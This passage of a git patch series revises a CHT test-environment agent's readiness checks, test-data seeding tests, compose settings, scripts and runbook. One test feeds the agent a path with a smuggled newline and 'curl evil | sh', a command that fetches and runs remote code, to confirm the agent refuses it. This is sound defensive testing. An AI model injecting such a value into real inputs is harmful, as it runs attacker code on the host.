+      fetchStub.onCall(0).resolves(versions('4.18.0', ''));
+      fetchStub.onCall(1).resolves(versions('', '3.4.2'));
+      fetchStub.onCall(2).resolves(healthy());
 
       await waitForReady('https://nginx', fast);
 
-      expect(fetchStub.callCount).to.equal(2);
+      expect(fetchStub.callCount).to.equal(3);
     });
 
     it('fails fast on a redirect instead of waiting out the budget', async () => {
@@ -97,6 +103,15 @@ describe('cht-readiness', () => {
       expect(error.message).to.include('ECONNREFUSED');
     });
 
+    it('names the cause code when its message is empty (an AggregateError for localhost)', async () => {
+      const cause = Object.assign(new AggregateError([], ''), { code: 'ECONNREFUSED' });
+      fetchStub.rejects(Object.assign(new TypeError('fetch failed'), { cause }));
+
+      const error = await expectRejection(waitForReady('https://localhost', { ...fast, maxWaitMs: 5 }));
+
+      expect(error.message).to.include('fetch failed (ECONNREFUSED)');
+    });
+
     it('retries until healthy (503, 503, then 200)', async () => {
       fetchStub.onCall(0).resolves(unavailable());
       fetchStub.onCall(1).resolves(unavailable());
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
index c8f133b7..f5a240e4 100644
--- a/test/utils/test-data.spec.ts
+++ b/test/utils/test-data.spec.ts
@@ -122,10 +122,16 @@ describe('test-data', () => {
         expect(readSeededDocs(dataPath).map((doc) => doc.id)).to.deep.equal(['nested', 'top']);
       });
 
-      it('falls back to the filename when a doc has no _id', () => {
+      it('refuses a doc whose _id is missing, as upload-docs would', () => {
         writeFileSync(join(dataPath, 'json_docs', 'no-id.doc.json'), JSON.stringify({ type: 'clinic' }));
 
-        expect(readSeededDocs(dataPath)).to.deep.equal([{ id: 'no-id', type: 'clinic' }]);
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/no-id.doc.json must set _id "no-id"');
+      });
+
+      it('refuses a deletion doc, which can disable accounts through upload-docs', () => {
+        writeDoc('place-1', { type: 'clinic', _deleted: true, cht_disable_linked_users: true });
+
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/place-1.doc.json is a deletion (_deleted)');
       });
 
       it('throws on a malformed doc file, naming it, rather than guessing the worklist', () => {
@@ -165,8 +171,8 @@ describe('test-data', () => {
       });
 
       it('removes only the files it recorded, keeping report logs and files outside json_docs', () => {
-        writeDoc('generated-1', { type: 'clinic' });
-        writeDoc('generated-2', { type: 'person' }, 'nested');
+        writeDoc('a3bb189e-8bf9-5888-9912-ace4e6543002', { type: 'clinic' });
+        writeDoc('b7c1d2e3-4f50-5a61-8b72-c9d0e1f2a3b4', { type: 'person' });
         recordOwnedDocFiles(dataPath);
         writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
         writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
@@ -179,7 +185,7 @@ describe('test-data', () => {
       });
 
       it('never removes a hand-authored file added after the record, and reports it as foreign', () => {
-        writeDoc('generated', { type: 'clinic' });
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
         recordOwnedDocFiles(dataPath);
         writeDoc('hand-authored', { type: 'person' });
 
@@ -189,20 +195,29 @@ describe('test-data', () => {
       });
 
       it('treats a generated file edited since the record as the operator\'s', () => {
-        writeDoc('generated', { type: 'clinic' });
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
         recordOwnedDocFiles(dataPath);
-        writeDoc('generated', { type: 'clinic', name: 'edited by hand' });
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic', name: 'edited by hand' });
 
-        expect(findForeignDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
         expect(removeOwnedDocFiles(dataPath)).to.equal(0);
       });
 
       it('proves nothing from a corrupt manifest', () => {
-        writeDoc('generated', { type: 'clinic' });
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
         recordOwnedDocFiles(dataPath);
         writeFileSync(join(dataPath, '.cht-agent-seeded.json'), '{not json');
 
-        expect(findForeignDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
+      });
+
+      it('records only the files csv-to-docs can write: top-level uuid names', () => {
+        writeDoc('hand-copied', { type: 'clinic' });
+        writeDoc('d4e5f6a7-b8c9-5d0e-8f1a-2b3c4d5e6f70', { type: 'person' }, 'nested');
+        recordOwnedDocFiles(dataPath);
+
+        expect(findForeignDocFiles(dataPath)).to.have.members(['hand-copied.doc.json', `nested/d4e5f6a7-b8c9-5d0e-8f1a-2b3c4d5e6f70.doc.json`]);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
       });
 
       it('keeps the manifest beside json_docs, where upload-docs will not pick it up', () => {

From 915f607adc88be7cbc667ed176de73cecd454fb8 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Thu, 8 Oct 2026 10:27:49 -0600
Subject: [PATCH 23/24] fix(#66): finish the round-3 review items outside the
 suggestions

- the agent's compose file sets CHT_CORE_HOST_PATH, and the specs clear it, with
  CHT_TEST_ENV_PROJECT, around every test that prints a gate (one isolateEnv helper)
- test-env-up.sh says when to start and restart the agent for the new cert, and how to
  remove a stopped nginx whose checkout is gone
- the reset gate asks for the operator's go-ahead before health is re-confirmed
- the dataPath error names json_docs/; a shellcheck directive covers TEST_ENV_NETWORK
- the runbook lists the environment variables the layer and the scripts read
- specs: CHT_CORE_HOST_PATH in the gate and its control-character refusal, a leading ~,
  version alongside a working copy, the upload-docs listing filters, 4xx versus 408/429,
  the TLS hint, and the new shortfall and wipe-failure wording. The dashed-IP test is
  retitled, and the full-reset comment no longer says "fresh stack"

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 docker/docker-compose.cht-agent.yml        |   2 +
 docs/docker-agent-runbook.md               |  18 ++++
 scripts/lib/test-env.sh                    |   1 +
 scripts/test-env-up.sh                     |   2 +
 src/agents/test-environment-agent.ts       |   7 +-
 test/agents/test-environment-agent.spec.ts | 105 +++++++++++++++------
 test/utils/cht-readiness.spec.ts           |  20 ++++
 test/utils/test-data.spec.ts               |  15 ++-
 8 files changed, 135 insertions(+), 35 deletions(-)

diff --git a/docker/docker-compose.cht-agent.yml b/docker/docker-compose.cht-agent.yml
index 733e9c23..f4f0af05 100644
--- a/docker/docker-compose.cht-agent.yml
+++ b/docker/docker-compose.cht-agent.yml
@@ -48,6 +48,8 @@ services:
       # .credentials.json mount below (for OAuth-based tools).
       ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY:-}
       CHT_CORE_PATH: /workspace/cht-core
+      # The same working copy on the host, where the operator runs the printed gates.
+      CHT_CORE_HOST_PATH: ${CHT_CORE_PATH}
       # CHT entry point on cht-agent-net (nginx joins via the #66 override)
       CHT_URL: ${CHT_URL:-https://nginx}
       NODE_ENV: development
diff --git a/docs/docker-agent-runbook.md b/docs/docker-agent-runbook.md
index 13ba4839..5ef01ac1 100644
--- a/docs/docker-agent-runbook.md
+++ b/docs/docker-agent-runbook.md
@@ -147,6 +147,24 @@ CHT_CORE_REBUILD=1 scripts/test-env-up.sh ~/src/cht-core
 > `test-env-down.sh`, the next bring-up makes a new cert. If the bring-up used
 > non-default `COUCHDB_USER` or `COUCHDB_PASSWORD`, pass the same values with `docker exec -e`.
 
+Settings the layer reads from the environment:
+
+| Variable | Read by | Effect (default) |
+|---|---|---|
+| `CHT_URL` | agent | Instance `provision` dials when the call passes no `url` (`https://nginx`). |
+| `COUCHDB_USER` / `COUCHDB_PASSWORD` | agent, scripts | Stack admin; each defaults on its own (`medic` / `password`). The agent refuses the default password against a host it does not treat as disposable. |
+| `CHT_TEST_ENV_ALLOW_EXTERNAL=1` | agent | Allows a host it does not treat as disposable, like `allowExternalTarget`. |
+| `CHT_CONF_BIN` | agent | cht-conf binary to spawn (`cht`). |
+| `CHT_CORE_HOST_PATH` | agent | Host path of the working copy, printed in the gates. The agent's compose file sets it to `$CHT_CORE_PATH`. |
+| `CHT_TEST_ENV_PROJECT` | scripts, agent | Compose project (`cht-agent-<dir>-<path hash>`). The agent repeats it in the gates it prints. |
+| `CHT_CORE_PATH` | scripts | Working copy, when no path argument is given. |
+| `CHT_CORE_CLONE_DIR` | scripts | Managed checkout when neither is given (`<repo>/.cht-core`), cloned from `CHT_CORE_UPSTREAM` at `CHT_CORE_BRANCH` (medic/cht-core, master). |
+| `CHT_CORE_REBUILD=1` | scripts | Runs `npm run build-dev` even when a build exists. |
+| `COUCHDB_DATA` | scripts | CouchDB bind mount (`local-build/srv-<project>`). It survives `test-env-down.sh`. |
+| `NGINX_HTTP_PORT` / `NGINX_HTTPS_PORT` | scripts | Host binds (`127.0.0.1:80` / `127.0.0.1:443`). Opening them to the LAN needs a non-default `COUCHDB_PASSWORD`. |
+| `COMMON_NAME` | scripts | Cert CN (`nginx`, the host the agent dials). |
+| `NODE_EXTRA_CA_CERTS` | Node | The stack's `cert.pem`, read once per process (see above). |
+
 The agent detects readiness via `GET https://nginx/api/v2/monitoring` and
 continues. CouchDB-tier resets it does itself over HTTP; container restarts
 and rebuilds come back to you.
diff --git a/scripts/lib/test-env.sh b/scripts/lib/test-env.sh
index 36975008..649160b9 100644
--- a/scripts/lib/test-env.sh
+++ b/scripts/lib/test-env.sh
@@ -19,6 +19,7 @@
 TEST_ENV_REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
 TEST_ENV_OVERRIDE="$TEST_ENV_REPO_ROOT/docker/cht-agent-net.override.yml"
 # Must match the external network in docker/cht-agent-net.override.yml.
+# shellcheck disable=SC2034 # used by test-env-up.sh
 TEST_ENV_NETWORK="cht-agent-net"
 
 test_env_default_target() {
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
index 66d8bc50..5b959a4a 100755
--- a/scripts/test-env-up.sh
+++ b/scripts/test-env-up.sh
@@ -66,6 +66,7 @@ while IFS= read -r project; do
   if [[ -n "$project" && "$project" != "$TEST_ENV_PROJECT" ]]; then
     echo "error: Compose project '$project' already has an nginx on $TEST_ENV_NETWORK." >&2
     echo "       Tear it down first: CHT_TEST_ENV_PROJECT='$project' scripts/test-env-down.sh <its cht-core path>" >&2
+    echo "       If that checkout is gone: docker rm -f \$(docker ps -aq --filter label=com.docker.compose.project=$project)" >&2
     exit 1
   fi
 done <<< "$nginx_projects"
@@ -106,3 +107,4 @@ test_env_compose up -d
 
 echo "CHT starting as Compose project '$TEST_ENV_PROJECT' on '$TEST_ENV_NETWORK'. The agent will poll /api/v2/monitoring until healthy."
 echo "To trust its cert: docker cp $TEST_ENV_PROJECT-nginx-1:/etc/nginx/private/cert.pem <file>, then NODE_EXTRA_CA_CERTS=<file> for the agent."
+echo "Node reads that file once per process: start the agent after this cert exists, and restart it after test-env-down.sh (the next up makes a new cert)."
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 348e6e9f..cb6cac2b 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -808,7 +808,10 @@ const printResetGate = (handle: EnvironmentHandle, tier: ResetTier): void => {
         'trusts the old one, copy the new cert.pem and restart the agent before re-confirming health.'
     );
   }
-  console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
+  console.log(
+    '[Test Environment Agent] The old stack answers healthy until the operator acts: get their go-ahead, ' +
+      'then re-confirm health with provision()/waitForReady.'
+  );
 };
 
 export class TestEnvironmentAgent {
@@ -980,7 +983,7 @@ export class TestEnvironmentAgent {
     options: PrepareTestDataOptions
   ): Promise<TestDataResult> {
     if (!options.dataPath) {
-      throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/)');
+      throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/ or json_docs/)');
     }
     const source: SeedSource = {
       dataPath: resolve(options.dataPath),
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 7be9765b..9517a5c6 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -15,6 +15,29 @@ import {
   ResetTier,
 } from '../../src/types';
 
+// The printed gates read these.
+const GATE_ENV_KEYS = ['CHT_TEST_ENV_PROJECT', 'CHT_CORE_HOST_PATH'];
+
+/** Clear `keys` from the env for each test in the enclosing describe, and restore them after. */
+const isolateEnv = (keys: string[]): void => {
+  const prior: Record<string, string | undefined> = {};
+  beforeEach(() => {
+    for (const key of keys) {
+      prior[key] = process.env[key];
+      delete process.env[key];
+    }
+  });
+  afterEach(() => {
+    for (const key of keys) {
+      if (prior[key] === undefined) {
+        delete process.env[key];
+      } else {
+        process.env[key] = prior[key];
+      }
+    }
+  });
+};
+
 describe('TestEnvironmentAgent', () => {
   let agent: TestEnvironmentAgent;
 
@@ -112,6 +135,15 @@ describe('TestEnvironmentAgent', () => {
       }
     });
 
+    it('should reject a chtCorePath that starts with ~, which the single-quoted gates never expand', async () => {
+      try {
+        await agent.provision({ chtCorePath: '~/src/cht-core' });
+        expect.fail('Should have thrown an error');
+      } catch (error) {
+        expect((error as Error).message).to.include('starts with ~');
+      }
+    });
+
     describe('real mode (useMockDocker: false)', () => {
       let fetchStub: sinon.SinonStub;
       // Readiness asks for the monitoring JSON; the credential check then reads /_session.
@@ -126,32 +158,14 @@ describe('TestEnvironmentAgent', () => {
       const sessionAnswering = (status: number, userCtx: unknown) => async (url: string) =>
         url.endsWith('/_session') ? { ok: status < 300, status, json: async () => ({ userCtx }) } : healthyFetch(url);
       // Provision reads these; isolate every test from the ambient env.
-      const PROVISION_ENV_KEYS = [
-        'CHT_URL',
-        'COUCHDB_USER',
-        'COUCHDB_PASSWORD',
-        'CHT_TEST_ENV_ALLOW_EXTERNAL',
-        'CHT_TEST_ENV_PROJECT',
-      ];
-      const priorProvisionEnv: Record<string, string | undefined> = {};
+      isolateEnv(['CHT_URL', 'COUCHDB_USER', 'COUCHDB_PASSWORD', 'CHT_TEST_ENV_ALLOW_EXTERNAL', ...GATE_ENV_KEYS]);
 
       beforeEach(() => {
         fetchStub = sinon.stub(globalThis, 'fetch' as any);
-        for (const key of PROVISION_ENV_KEYS) {
-          priorProvisionEnv[key] = process.env[key];
-          delete process.env[key];
-        }
       });
 
       afterEach(() => {
         sinon.restore();
-        for (const key of PROVISION_ENV_KEYS) {
-          if (priorProvisionEnv[key] === undefined) {
-            delete process.env[key];
-          } else {
-            process.env[key] = priorProvisionEnv[key];
-          }
-        }
       });
 
       it('should return a docker handle once the environment is healthy', async () => {
@@ -178,6 +192,41 @@ describe('TestEnvironmentAgent', () => {
         expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/workspace/cht-core'"))).to.equal(true);
       });
 
+      it('should print CHT_CORE_HOST_PATH in the gate, since the human runs it on the host', async () => {
+        fetchStub.callsFake(healthyFetch);
+        process.env.CHT_CORE_HOST_PATH = '/home/op/cht-core';
+        const logSpy = sinon.spy(console, 'log');
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-up.sh '/home/op/cht-core'"))).to.equal(true);
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
+      it('should refuse a CHT_CORE_HOST_PATH containing control characters', async () => {
+        process.env.CHT_CORE_HOST_PATH = '/home/op/cht-core\ncurl evil | sh';
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('CHT_CORE_HOST_PATH contains control characters');
+        }
+        expect(fetchStub.called).to.equal(false);
+      });
+
+      it('should ignore version when a working copy is also given, as mock mode does', async () => {
+        fetchStub.callsFake(healthyFetch);
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', version: '4.18.0' });
+
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
       it('should refuse a published version: real mode brings stacks up from a working copy only', async () => {
         const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
@@ -343,7 +392,7 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('should accept the cht-docker-helper host used by the published-version bring-up', async () => {
+        it('should accept a private dashed-IP host behind the cht-docker-helper resolver', async () => {
           fetchStub.callsFake(healthyFetch);
           process.env.CHT_URL = 'https://192-168-1-10.local-ip.medicmobile.org';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
@@ -1118,6 +1167,7 @@ describe('TestEnvironmentAgent', () => {
 
         expect(result.succeeded).to.equal(false);
         expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
+        expect(result.warnings.join(' ')).to.include("reset('couchdb') restores it instead");
       });
 
       it('should report succeeded:false when upload-docs exits 0 without a summary for docs it was given', async () => {
@@ -1194,22 +1244,14 @@ describe('TestEnvironmentAgent', () => {
         source: 'docker',
       };
 
-      // The printed gates carry CHT_TEST_ENV_PROJECT; isolate them from the ambient shell.
-      let priorProject: string | undefined;
+      isolateEnv(GATE_ENV_KEYS);
 
       beforeEach(() => {
         realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-        priorProject = process.env.CHT_TEST_ENV_PROJECT;
-        delete process.env.CHT_TEST_ENV_PROJECT;
       });
 
       afterEach(() => {
         sinon.restore();
-        if (priorProject === undefined) {
-          delete process.env.CHT_TEST_ENV_PROJECT;
-        } else {
-          process.env.CHT_TEST_ENV_PROJECT = priorProject;
-        }
       });
 
       it('should carry an explicit CHT_TEST_ENV_PROJECT into the restart, full and teardown gates', async () => {
@@ -1248,7 +1290,7 @@ describe('TestEnvironmentAgent', () => {
         await realAgent.reset(dockerHandle, 'full');
 
         const lines = logSpy.getCalls().map((call) => String(call.args[0]));
-        // A full reset is a fresh stack, so the gate rebuilds (Model A tests the code as it is now).
+        // A full reset recreates the containers from rebuilt images (Model A tests the code as it is now).
         const expected =
           "scripts/test-env-down.sh '/workspace/cht-core' && CHT_CORE_REBUILD=1 scripts/test-env-up.sh '/workspace/cht-core'";
         expect(lines.some((line) => line.includes(expected))).to.equal(true);
@@ -1363,6 +1405,7 @@ describe('TestEnvironmentAgent', () => {
             expect.fail('expected reset to reject');
           } catch (error) {
             expect((error as Error).message).to.include('failed to delete 1 doc(s): person-1');
+            expect((error as Error).message).to.include('The other 1 doc(s) were deleted and not reseeded');
           }
         });
 
@@ -1610,6 +1653,8 @@ describe('TestEnvironmentAgent', () => {
   });
 
   describe('teardown', () => {
+    isolateEnv(GATE_ENV_KEYS);
+
     it('should resolve in mock mode', async () => {
       const handle = await provisionMock();
 
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
index 8392e873..ecc99aed 100644
--- a/test/utils/cht-readiness.spec.ts
+++ b/test/utils/cht-readiness.spec.ts
@@ -82,6 +82,25 @@ describe('cht-readiness', () => {
       expect(fetchStub.callCount).to.equal(1);
     });
 
+    it('fails fast on a 4xx, which no bring-up step answers (497: http sent to the https port)', async () => {
+      fetchStub.resolves({ ok: false, status: 497 });
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('cannot become ready as configured: HTTP 497');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('keeps polling on 408 and 429, which can clear by themselves', async () => {
+      fetchStub.onCall(0).resolves({ ok: false, status: 408 });
+      fetchStub.onCall(1).resolves({ ok: false, status: 429 });
+      fetchStub.onCall(2).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(3);
+    });
+
     it('fails fast when the runtime does not trust the certificate', async () => {
       const cause = Object.assign(new Error('self-signed certificate'), { code: 'DEPTH_ZERO_SELF_SIGNED_CERT' });
       fetchStub.rejects(Object.assign(new TypeError('fetch failed'), { cause }));
@@ -89,6 +108,7 @@ describe('cht-readiness', () => {
       const error = await expectRejection(waitForReady('https://nginx', fast));
 
       expect(error.message).to.include('self-signed certificate');
+      expect(error.message).to.include('NODE_EXTRA_CA_CERTS');
       expect(fetchStub.callCount).to.equal(1);
     });
 
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
index f5a240e4..be93d6a6 100644
--- a/test/utils/test-data.spec.ts
+++ b/test/utils/test-data.spec.ts
@@ -1,5 +1,5 @@
 import { expect } from 'chai';
-import { existsSync, mkdtempSync, mkdirSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { existsSync, mkdtempSync, mkdirSync, readdirSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
 import { tmpdir } from 'node:os';
 import { join } from 'node:path';
 import {
@@ -162,6 +162,15 @@ describe('test-data', () => {
         expect(listDocFiles(dataPath)).to.deep.equal(['b.doc.json', 'sub/a.doc.json']);
       });
 
+      it('skips dot-prefixed files and directories and dangling symlinks, as upload-docs does', () => {
+        writeDoc('kept', { type: 'clinic' });
+        writeDoc('.draft', { type: 'clinic' });
+        writeDoc('hidden', { type: 'clinic' }, '.drafts');
+        symlinkSync(join(dataPath, 'missing.doc.json'), join(dataPath, 'json_docs', 'dangling.doc.json'));
+
+        expect(listDocFiles(dataPath)).to.deep.equal(['kept.doc.json']);
+      });
+
       it('treats every doc file as foreign until this layer has recorded it (fails closed)', () => {
         writeDoc('hand-authored', { type: 'clinic' });
 
@@ -221,11 +230,11 @@ describe('test-data', () => {
       });
 
       it('keeps the manifest beside json_docs, where upload-docs will not pick it up', () => {
-        writeDoc('generated', { type: 'clinic' });
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
         recordOwnedDocFiles(dataPath);
 
         expect(existsSync(join(dataPath, '.cht-agent-seeded.json'))).to.equal(true);
-        expect(listDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
+        expect(listDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
       });
     });
 

From aff3f990d1b047cdaff192bbc27a379a0d10e758 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Wed, 14 Oct 2026 14:49:57 -0600
Subject: [PATCH 24/24] Update docs/docker-agent-runbook.md

Co-authored-by: Sugat Bajracharya <30311933+sugat009@users.noreply.github.com>
---
 docs/docker-agent-runbook.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docs/docker-agent-runbook.md b/docs/docker-agent-runbook.md
index 5ef01ac1..b0c91b0a 100644
--- a/docs/docker-agent-runbook.md
+++ b/docs/docker-agent-runbook.md
@@ -132,6 +132,8 @@ When the Test Environment Layer (#66) requests an environment, the agent
 # From the cht-agent repo: build the agent's edited working copy into images
 # (Model A rebuild-on-change) and start it, nginx joined to cht-agent-net
 CHT_CORE_REBUILD=1 scripts/test-env-up.sh ~/src/cht-core
+# When the agent asks for a restart, restart the services of the same stack
+scripts/test-env-restart.sh ~/src/cht-core
 ```
 
 > `scripts/test-env-up.sh` gives each checkout its own Compose project, internal